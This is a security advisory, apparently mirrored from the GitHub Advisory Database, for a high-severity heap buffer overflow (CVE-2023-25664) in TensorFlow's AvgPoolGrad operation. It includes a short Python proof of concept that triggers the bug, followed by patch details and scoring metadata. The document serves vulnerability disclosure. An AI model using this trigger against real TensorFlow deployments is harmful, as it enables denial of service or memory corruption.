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Security Advisories: GSA_kwCzR0hTQS02aGc2LTVjMnEtN3Jjcs4AAyUA

TensorFlow has Heap-buffer-overflow in AvgPoolGrad

Impact

import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
    ksize = [1, 40, 128, 1]
    strides = [1, 128, 128, 30]
    padding = "SAME"
    data_format = "NHWC"
    orig_input_shape = [11, 9, 78, 9]
    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
    res = tf.raw_ops.AvgPoolGrad(
        ksize=ksize,
        strides=strides,
        padding=padding,
        data_format=data_format,
        orig_input_shape=orig_input_shape,
        grad=grad,
    )

Patches

We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by [email protected]

Permalink: https://github.com/advisories/GHSA-6hg6-5c2q-7rcr
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aGc2LTVjMnEtN3Jjcs4AAyUA
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: almost 2 years ago
Updated: almost 2 years ago

CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS Percentage: 0.00086
EPSS Percentile: 0.37524

Identifiers: GHSA-6hg6-5c2q-7rcr, CVE-2023-25664
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6hg6-5c2q-7rcr
• https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b
• https://nvd.nist.gov/vuln/detail/CVE-2023-25664
• https://github.com/advisories/GHSA-6hg6-5c2q-7rcr

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 36.5

Affected Packages